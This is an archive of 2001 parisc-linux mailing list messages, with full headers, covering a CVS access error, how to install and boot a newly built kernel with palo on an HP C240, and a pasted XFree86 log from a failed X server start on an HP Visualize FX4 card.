Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Dec 13 13:57:05 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from puffin.external.hp.com (puffin.external.hp.com [192.25.206.4])
	by dsl2.external.hp.com (Postfix) with ESMTP id D4C01482A
	for <parisc-linux@lists.parisc-linux.org>; Thu, 13 Dec 2001 13:57:05 -0700 (MST)
Original-Received: from puffin (IDENT:grundler@localhost [127.0.0.1])
	by puffin.external.hp.com (8.9.3/8.9.3) with ESMTP id NAA20731;
	Thu, 13 Dec 2001 13:51:41 -0700
In-Reply-To: Message from "Richard \"Trey\" Hyde" <Richard.Hyde@cnet.com> 
   of "13 Dec 2001 11:56:55 PST." <1008273417.26226.33.camel@lakeforest-devel> 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.6
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13343

"Richard \"Trey\" Hyde" wrote:
...
> Thanks to all. Overall installation was easier than that of PPC Linux
> and Alpha Linux when those distros were further along.

Well, that thanks should mostly go to the debian developers as a whole
for providing a better install process and to Richard Hirst for making it
work on parisc-linux (aka debian-hppa). It was non-trivial and has
been something he's been dealing with for about the past year.

grant



From - Thu Nov 08 21:20:46 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Sonny Cook <sonny@aspersion.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] anon cvs
Date: Thu, 13 Dec 2001 20:59:45 +0000 (UTC)
Lines: 15
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.33.0112132057310.18883-100000@zayda.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416620845 31535 80.91.229.3 (22 Nov 2014 01:47:25 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:47:25 +0000 (UTC)
To: <parisc-linux@parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Dec 13 13:59:45 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from zayda.com (celery.zayda.com [208.186.180.200])
	by dsl2.external.hp.com (Postfix) with ESMTP id A915B482A
	for <parisc-linux@parisc-linux.org>; Thu, 13 Dec 2001 13:59:44 -0700 (MST)
Original-Received: from localhost (sonny@localhost)
	by zayda.com (8.11.6/8.11.6) with ESMTP id fBDKxjq11806
	for <parisc-linux@parisc-linux.org>; Thu, 13 Dec 2001 20:59:45 GMT
X-X-Sender: <sonny@zayda.com>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.6
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13344

Is something up with anonamous cvs access?  I get the following error when 
attempting to update my kernel tree:

angstrom:/usr/src/linux-2.4.16-pa16# cvs update -dP .
cvs [update aborted]: recv() from server cvs.parisc-linux.org: Connection 
reset by peer

I also noticed that the nightly snapshots are about 45 bytes long.

Thanks,
Sonny





From - Thu Nov 08 21:20:46 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Edward Alfert" <edward@alfert.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] What keywords should I use to find the answer?
Date: Thu, 13 Dec 2001 17:03:55 -0500
Lines: 53
Approved: news@gmane.org
Message-ID: <000f01c18422$0f40bd20$830000c0@ealfert>
References: <001101c183db$4be88290$0201a8c0@w2kpro> <E16EWsG-0000Ah-00@linuxlab.wdf.sap-ag.de>  <001e01c183f3$de0537a0$830000c0@ealfert>  <E16EYqV-0005jC-00@noam.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416620845 31539 80.91.229.3 (22 Nov 2014 01:47:25 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:47:25 +0000 (UTC)
To: <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Dec 13 14:57:47 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from aistrend.allinterior.com (aistrend.allinterior.com [209.194.65.119])
	by dsl2.external.hp.com (Postfix) with ESMTP id D3FCE482A
	for <parisc-linux@lists.parisc-linux.org>; Thu, 13 Dec 2001 14:57:46 -0700 (MST)
Original-Received: from ealfert (ais1.allinterior.com [209.194.65.122] (may be forged))
	by aistrend.allinterior.com (8.11.1/8.11.1) with SMTP id fBDLtJv09405
	for <parisc-linux@lists.parisc-linux.org>; Thu, 13 Dec 2001 16:55:19 -0500 (EST)
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 6.00.2600.0000
X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2600.0000
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.6
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13345

ok...was able to follow all the steps in creating the new kernel including
make oldconfig
make dep
make palo

now what? (this is where the Building the Kernel FAQ ends)

So from this point forward i'm guessing (trial and error)...

I rebooted and it still booted to the old kernel 2.4.9

i then manually moved /root/source/palo/lifimage to
/boot/vmlinux-2.4.16-pa19
then created link to it from vmlinux

I then rebooted and i get:
Opening /vmlinux
Opening /vmlinux-2.4.16-pa19
Couldn't grok your kernel executable format
ERROR: failed to load kernel

Now i know i shouldn't have manually moved the files over and there was a
correct way of doing this... but i looked in all docs i could find and can't
find the right way to move a new kernel into place from the new created
palo/lifimage

1) what is the right way?
2) how do i recover? do i interrup the boot process... interact with IPL and
pass some parameter to boot from the old kernel (that i left behind at
/boot/vmlinux-2.4.9)?

Thanks for all the previous help... i'm close but yet so far....

----- Original Message -----
From: "Paul Bame" <bame@fc.hp.com>
To: "Edward Alfert" <edward@alfert.com>
Cc: <parisc-linux@lists.parisc-linux.org>
Sent: Thursday, December 13, 2001 11:36 AM
Subject: Re: [parisc-linux] What keywords should I use to find the answer?


> =
> = Why is the linux* files empty?  did i do something wrong?
> =
>
> Bug in the script which creates them.  Should be a new tarball in
> under an hour from now.
>
> -P
>




From - Thu Nov 08 21:20:46 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Tom <palinux@alaskatech.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] What keywords should I use to find the answer?
Date: Thu, 13 Dec 2001 14:02:52 -0900 (AKST)
Lines: 43
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.33.0112131359110.5844-100000@goliath.alaskatech.org>
References: <000f01c18422$0f40bd20$830000c0@ealfert>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416620845 31540 80.91.229.3 (22 Nov 2014 01:47:25 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:47:25 +0000 (UTC)
Cc: <parisc-linux@lists.parisc-linux.org>
To: Edward Alfert <edward@alfert.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Dec 13 16:05:27 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mta-2.gci.net (mta-2.gci.net [208.138.130.83])
	by dsl2.external.hp.com (Postfix) with ESMTP id 27382482A
	for <parisc-linux@lists.parisc-linux.org>; Thu, 13 Dec 2001 16:05:26 -0700 (MST)
Original-Received: from mmp-1.gci.net ([208.138.130.80]) by mta-2.gci.net
          (Netscape Messaging Server 4.15) with ESMTP id GOB1H101.R4S for
          <parisc-linux@lists.parisc-linux.org>; Thu, 13 Dec 2001 14:05:25 -0900 
Original-Received: from goliath.alaskatech.org ([24.237.5.207]) by
          mmp-1.gci.net (Netscape Messaging Server 4.15) with ESMTP id
          GOB1H102.A4L; Thu, 13 Dec 2001 14:05:25 -0900 
Original-Received: from goliath.alaskatech.org (goliath.alaskatech.org [24.237.5.207])
	by goliath.alaskatech.org (8.9.3/8.9.3/Debian 8.9.3-21) with ESMTP id OAA06137;
	Thu, 13 Dec 2001 14:02:53 -0900
In-Reply-To: <000f01c18422$0f40bd20$830000c0@ealfert>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.6
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13346

On Thu, 13 Dec 2001, Edward Alfert wrote:
> ok...was able to follow all the steps in creating the new kernel including
> make oldconfig
> make dep
> make palo
>
> now what? (this is where the Building the Kernel FAQ ends)
>
> So from this point forward i'm guessing (trial and error)...
>
> I rebooted and it still booted to the old kernel 2.4.9
>
> i then manually moved /root/source/palo/lifimage to
> /boot/vmlinux-2.4.16-pa19
> then created link to it from vmlinux
>
> I then rebooted and i get:
> Opening /vmlinux
> Opening /vmlinux-2.4.16-pa19
> Couldn't grok your kernel executable format
> ERROR: failed to load kernel

Exactly what I had happen. Someone was nice enough to point out to me the
*right* way <g>...

In your linux root (with the Makefile) is vmlinux. Move that to
/boot/vmlinux-xxx, then edit palo.conf (second line has the kernel you're
wanting to boot by default). Then, run palo (gives you a two-line 'before'
and 'after' which should show the new kernel) and reboot.

> Now i know i shouldn't have manually moved the files over and there was a
> correct way of doing this... but i looked in all docs i could find and can't
> find the right way to move a new kernel into place from the new created
> palo/lifimage

Don't think there's any way other than manual - 'make install' isn't
working yet AFAIK.

Recover by using 'boot pri ipl' at the initial boto menu, then change your
kernel name to the last one you used.




From - Thu Nov 08 21:20:46 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Edward Alfert" <edward@alfert.com>
Newsgroups: gmane.linux.ports.parisc
Subject: RE: [parisc-linux] What keywords should I use to find the answer?
Date: Thu, 13 Dec 2001 23:08:42 -0500
Organization: Alfert-Rivera Family
Lines: 200
Approved: news@gmane.org
Message-ID: <001f01c18455$04d1cef0$0201a8c0@w2kpro>
References: <Pine.LNX.4.33.0112131359110.5844-100000@goliath.alaskatech.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416620846 31544 80.91.229.3 (22 Nov 2014 01:47:26 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:47:26 +0000 (UTC)
To: <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Dec 13 21:07:27 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from femail48.sdc1.sfba.home.com (femail48.sdc1.sfba.home.com [24.254.60.42])
	by dsl2.external.hp.com (Postfix) with ESMTP id 036E3482A
	for <parisc-linux@lists.parisc-linux.org>; Thu, 13 Dec 2001 21:07:25 -0700 (MST)
Original-Received: from w2kpro ([24.248.173.115]) by femail48.sdc1.sfba.home.com
          (InterMail vM.4.01.03.20 201-229-121-120-20010223) with ESMTP
          id <20011214040723.NLBZ8989.femail48.sdc1.sfba.home.com@w2kpro>
          for <parisc-linux@lists.parisc-linux.org>;
          Thu, 13 Dec 2001 20:07:23 -0800
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook, Build 10.0.2627
In-Reply-To: <Pine.LNX.4.33.0112131359110.5844-100000@goliath.alaskatech.org>
Importance: Normal
X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2600.0000
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.6
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13347

Thanks... This is fun... 

New kernel 2.4.19 is up and running... I'm able to use my monitor ...
Initially I couldn't log in but found in the FAQ that I needed to
"uncomment" tty0 from /etc/inittab ... By the way, there is no entry for
tty0 in /etc/inittab, so I created one... So the FAQ shouldn't read
"uncomment" but instead "create".

I'm now trying to get Xfree working... I know I ask a lot of questions,
but I promise to return the favor to other newbies that experience the
same problems as me.

I executed /usr/X11R6/bin/xf86config and set all the parameters for the
mouse, monitor, and graphics card... But it doesn't work... The screen
goes black (as if it was changing resolutions) then comes back to text
mode and dumps the messages.

I have included the contents of /var/log/XFree86.0.log in hopes that one
of you will guide me in the right direction...

The system is a C240 with FX4 video card (that's HP Visualize FX-4 with
18mb RAM) ... The GRAPHICS(4) is set to 1280 x 1024 @ 72Hz.

c240:~# cat /var/log/XFree86.0.log

This is a pre-release version of XFree86, and is not supported in any
way.  Bugs may be reported to XFree86@XFree86.Org and patches submitted
to fixes@XFree86.Org.  Before reporting bugs in pre-release versions,
please check the latest version in the XFree86 CVS repository
(http://www.XFree86.Org/cvs)

XFree86 Version 4.1.0.1 / X Window System
(protocol Version 11, revision 0, vendor release 6510)
Release Date: xx August 2001
        If the server is older than 6-12 months, or if your card is
        newer than the above date, look for a newer version before
        reporting problems.  (See http://www.XFree86.Org/FAQ)
Build Operating System: Linux 2.4.9-pa79 parisc64 [ELF] 
(==) Log file: "/var/log/XFree86.0.log", Time: Thu Dec 13 22:59:57 2001
(==) Using config file: "/etc/X11/XF86Config"
Markers: (--) probed, (**) from config file, (==) default setting,
         (++) from command line, (!!) notice, (II) informational,
         (WW) warning, (EE) error, (NI) not implemented, (??) unknown.
(==) ServerLayout "Simple Layout"
(**) |-->Screen "Screen 1" (0)
(**) |   |-->Monitor "Cornerstone p1500"
(**) |   |-->Device "HP Visualize FX4"
(**) |-->Input Device "Mouse1"
(**) |-->Input Device "Keyboard1"
(**) Option "AutoRepeat" "500 30"
(**) Option "XkbRules" "xfree86"
(**) XKB: rules: "xfree86"
(**) Option "XkbModel" "pc101"
(**) XKB: model: "pc101"
(**) Option "XkbLayout" "us"
(**) XKB: layout: "us"
(==) Keyboard: CustomKeycode disabled
(**) FontPath set to
"/usr/X11R6/lib/X11/fonts/misc/,/usr/X11R6/lib/X11/fonts/75
dpi/:unscaled,/usr/X11R6/lib/X11/fonts/100dpi/:unscaled,/usr/X11R6/lib/X
11/fonts
/Type1/,/usr/X11R6/lib/X11/fonts/Speedo/,/usr/X11R6/lib/X11/fonts/75dpi/
,/usr/X1
1R6/lib/X11/fonts/100dpi/"
(**) RgbPath set to "/usr/X11R6/lib/X11/rgb"
(--) using VT number 2

(WW) Cannot open APM
(II) PCI: PCI scan (all values are in hex)
(II) PCI: 00:13:0: chip 1000,000f card 0000,0000 rev 04 class 01,00,00
hdr 00
(II) PCI: 00:14:0: chip 1011,0019 card 103c,104f rev 30 class 02,00,00
hdr 00
(II) PCI: 01:04:0: chip 103c,1008 card 0000,0000 rev 02 class 03,80,00
hdr 00
(II) PCI: End of PCI scan
(II) Host-to-PCI bridge:
(II) Host-to-PCI bridge:
(II) Bus 0: bridge is at (0:0:0), (-1,0,0), BCTRL: 0x00 (VGA_EN is
cleared)
(II) Bus 0 I/O range:
        [0] -1 0        0x00000000 - 0x0000ffff (0x10000) IX[B]
(II) Bus 0 non-prefetchable memory range:
        [0] -1 0        0x00000000 - 0xffffffff (0x0) MX[B]
(II) Bus 0 prefetchable memory range:
        [0] -1 0        0x00000000 - 0xffffffff (0x0) MX[B]
(II) Bus 1: bridge is at (0:0:0), (-1,1,0), BCTRL: 0x00 (VGA_EN is
cleared)
(II) Bus 1 I/O range:
        [0] -1 0        0x00000000 - 0x0000ffff (0x10000) IX[B]
(II) Bus 1 non-prefetchable memory range:
        [0] -1 0        0x00000000 - 0xffffffff (0x0) MX[B]
(II) Bus 1 prefetchable memory range:
        [0] -1 0        0x00000000 - 0xffffffff (0x0) MX[B]
(--) PCI: (1:4:0) HP unknown chipset (0x1008) rev 2, Mem @
0xf6000000/25, BIOS @
 0xf1e00000/21
(II) Addressable bus resource ranges are
        [0] -1 0        0x00000000 - 0xffffffff (0x0) MX[B]
        [1] -1 0        0x00000000 - 0x0000ffff (0x10000) IX[B]
(II) OS-reported resource ranges:
        [0] -1 0        0xffffffff - 0xffffffff (0x1) MX[B]
        [1] -1 0        0x00000000 - 0x00000000 (0x1) MX[B]
        [2] -1 0        0x0000ffff - 0x0000ffff (0x1) IX[B]
        [3] -1 0        0x00000000 - 0x00000000 (0x1) IX[B]
(II) Active PCI resource ranges:
        [0] -1 0        0xf2fff000 - 0xf2fff07f (0x80) MX[B]
        [1] -1 0        0xf2ffe000 - 0xf2ffefff (0x1000) MX[B]
        [2] -1 0        0xf2ffd000 - 0xf2ffd0ff (0x100) MX[B]
        [3] -1 0        0xf1e00000 - 0xf1ffffff (0x200000) MX[B](B)
        [4] -1 0        0xf6000000 - 0xf7ffffff (0x2000000) MX[B](B)
        [5] -1 0        0x0000ff00 - 0x0000ff7f (0x80) IX[B]
        [6] -1 0        0x0000fe00 - 0x0000feff (0x100) IX[B]
(II) Active PCI resource ranges after removing overlaps:
        [0] -1 0        0xf2fff000 - 0xf2fff07f (0x80) MX[B]
        [1] -1 0        0xf2ffe000 - 0xf2ffefff (0x1000) MX[B]
        [2] -1 0        0xf2ffd000 - 0xf2ffd0ff (0x100) MX[B]
        [3] -1 0        0xf1e00000 - 0xf1ffffff (0x200000) MX[B](B)
        [4] -1 0        0xf6000000 - 0xf7ffffff (0x2000000) MX[B](B)
        [5] -1 0        0x0000ff00 - 0x0000ff7f (0x80) IX[B]
        [6] -1 0        0x0000fe00 - 0x0000feff (0x100) IX[B]
(II) OS-reported resource ranges after removing overlaps with PCI:
        [0] -1 0        0xffffffff - 0xffffffff (0x1) MX[B]
        [1] -1 0        0x00000000 - 0x00000000 (0x1) MX[B]
        [2] -1 0        0x0000ffff - 0x0000ffff (0x1) IX[B]
        [3] -1 0        0x00000000 - 0x00000000 (0x1) IX[B]
(II) All system resource ranges:
        [0] -1 0        0xffffffff - 0xffffffff (0x1) MX[B]
        [1] -1 0        0x00000000 - 0x00000000 (0x1) MX[B]
        [2] -1 0        0xf2fff000 - 0xf2fff07f (0x80) MX[B]
        [3] -1 0        0xf2ffe000 - 0xf2ffefff (0x1000) MX[B]
        [4] -1 0        0xf2ffd000 - 0xf2ffd0ff (0x100) MX[B]
        [5] -1 0        0xf1e00000 - 0xf1ffffff (0x200000) MX[B](B)
        [6] -1 0        0xf6000000 - 0xf7ffffff (0x2000000) MX[B](B)
        [7] -1 0        0x0000ffff - 0x0000ffff (0x1) IX[B]
        [8] -1 0        0x00000000 - 0x00000000 (0x1) IX[B]
        [9] -1 0        0x0000ff00 - 0x0000ff7f (0x80) IX[B]
        [10] -1 0       0x0000fe00 - 0x0000feff (0x100) IX[B]
(II) MGA: driver for Matrox chipsets: mga2064w, mga1064sg, mga2164w,
        mga2164w AGP, mgag100, mgag100 PCI, mgag200, mgag200 PCI,
mgag400
(II) GLINT: driver for 3Dlabs chipsets: gamma, ti_pm2, ti_pm, pm3, pm2v,
        pm2, pm, 300sx, 500tx, mx, delta
        S3VIdentify
(II) S3VIRGE: driver (version 1.6.0) for S3 ViRGE chipsets: virge,
86C325,
        virge vx, 86C988, virge dx, virge gx, 86C375, 86C385, virge gx2,
        86C357, virge mx, 86C260, virge mx+, 86C280, trio 3d, 86C365,
        trio 3d/2x, 86C362, 86C368
(II) SIS: driver for SiS chipsets: SIS5597, SIS5598, SIS530, SIS6326,
        SIS300, SIS630, SIS540
(II) SAVAGE: driver (version 1.1.16) for S3 Savage chipsets: Savage4,
        Savage3D, Savage3D-MV, Savage2000, Savage/MX-MV, Savage/MX,
        Savage/IX-MV, Savage/IX, ProSavage PM133, ProSavage KM133,
Twister,
        TwisterK
(II) TRIDENT: driver for Trident chipsets: tvga8900d, cyber9320,
cyber9388,
        cyber9397, cyber9397dvd, cyber9520, cyber9525dvd, cyberblade/e4,
        tgui9420dgi, tgui9440agi, tgui9660, tgui9680, providia9682,
        providia9685, cyber9382, cyber9385, 3dimage975, 3dimage985,
blade3d,
        cyberbladei7, cyberbladei7d, cyberbladei1, cyberbladei1d,
        cyberbladeAi1, cyberbladeAi1d, cyberbladeXP, cyberbladeXPm
(II) CHIPS: Driver for Chips and Technologies chipsets: ct65520,
ct65525,
        ct65530, ct65535, ct65540, ct65545, ct65546, ct65548, ct65550,
        ct65554, ct65555, ct68554, ct69000, ct69030, ct64200, ct64300
(II) TDFX: Driver for 3dfx Banshee/Voodoo3 chipsets: 3dfx Banshee,
        3dfx Voodoo3, 3dfx Voodoo5
(II) FBDev: driver for framebuffer: fbdev, afb
(II) ATI: ATI driver (version 6.3.6) for chipsets: ati
(II) R128: Driver for ATI Rage 128 chipsets: ATI Rage 128 RE (PCI),
        ATI Rage 128 RF (AGP), ATI Rage 128 RG (AGP), ATI Rage 128 RK
(PCI),
        ATI Rage 128 RL (AGP), ATI Rage 128 Pro PD (PCI),
        ATI Rage 128 Pro PF (AGP), ATI Rage 128 Pro PP (PCI),
        ATI Rage 128 Pro PR (PCI), ATI Rage 128 Mobility LE (PCI),
        ATI Rage 128 Mobility LF (AGP), ATI Rage 128 Mobility MF (AGP),
        ATI Rage 128 Mobility ML (AGP)
(II) RADEON: Driver for ATI Radeon chipsets: ATI Radeon QD (AGP),
        ATI Radeon QE (AGP), ATI Radeon QF (AGP), ATI Radeon QG (AGP),
        ATI Radeon VE (AGP)
(II) imstt: driver (version 1.0.0 for IMS TwinTurbo chipsets : imstt128,
        imstt3d
(II) VGA: Generic VGA driver (version 4.0) for chipsets: generic
(II) v4l driver for Video4Linux
        S3VProbe begin
(EE) No devices detected.

Fatal server error:
no screens found

When reporting a problem related to a server crash, please send
the full server output, not just the last messages.
This can be found in the log file "/var/log/XFree86.0.log".
Please report problems to submit@bugs.debian.org.




From - Thu Nov 08 21:20:46 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@puffin.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] anon cvs
Date: Thu, 13 Dec 2001 22:00:35 -0700
Lines: 21
Approved: news@gmane.org
Message-ID: <200112140500.WAA21568@puffin.external.hp.com>
References: <sonny@aspersion.org>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416620846 31546 80.91.229.3 (22 Nov 2014 01:47:26 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:47:26 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: Sonny Cook <sonny@aspersion.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Dec 13 22:06:06 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from puffin.external.hp.com (puffin.external.hp.com [192.25.206.4])
	by dsl2.external.hp.com (Postfix) with ESMTP id DA8EE482A
	for <parisc-linux@parisc-linux.org>; Thu, 13 Dec 2001 22:06:05 -0700 (MST)
Original-Received: from puffin (IDENT:grundler@localhost [127.0.0.1])
	by puffin.external.hp.com (8.9.3/8.9.3) with ESMTP id WAA21568;
	Thu, 13 Dec 2001 22:00:35 -0700
In-Reply-To: Message from Sonny Cook <sonny@aspersion.org> 
   of "Thu, 13 Dec 2001 20:59:45 GMT." <Pine.LNX.4.33.0112132057310.18883-100000@zayda.com> 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.6
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13348

Sonny Cook wrote:
> Is something up with anonamous cvs access?  I get the following error when 
> attempting to update my kernel tree:
> 
> angstrom:/usr/src/linux-2.4.16-pa16# cvs update -dP .
> cvs [update aborted]: recv() from server cvs.parisc-linux.org: Connection 
> reset by peer

I got (nearly) the same error but realized I was using puffin.external.hp.com
server which is wrong. You have the right server.
I fixed the Root files in my local tree and all was well.

> I also noticed that the nightly snapshots are about 45 bytes long.

That was a bug in the scripts. Paul Bame fixed that yesterday.
2.4.16-pa19 should be ok - at least it was last night.

hth,
grant



From - Thu Nov 08 21:20:46 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@puffin.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] What keywords should I use to find the answer?
Date: Thu, 13 Dec 2001 22:25:32 -0700
Lines: 29
Approved: news@gmane.org
Message-ID: <200112140525.WAA21618@puffin.external.hp.com>
References: <edward@alfert.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416620846 31548 80.91.229.3 (22 Nov 2014 01:47:26 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:47:26 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "Edward Alfert" <edward@alfert.com>
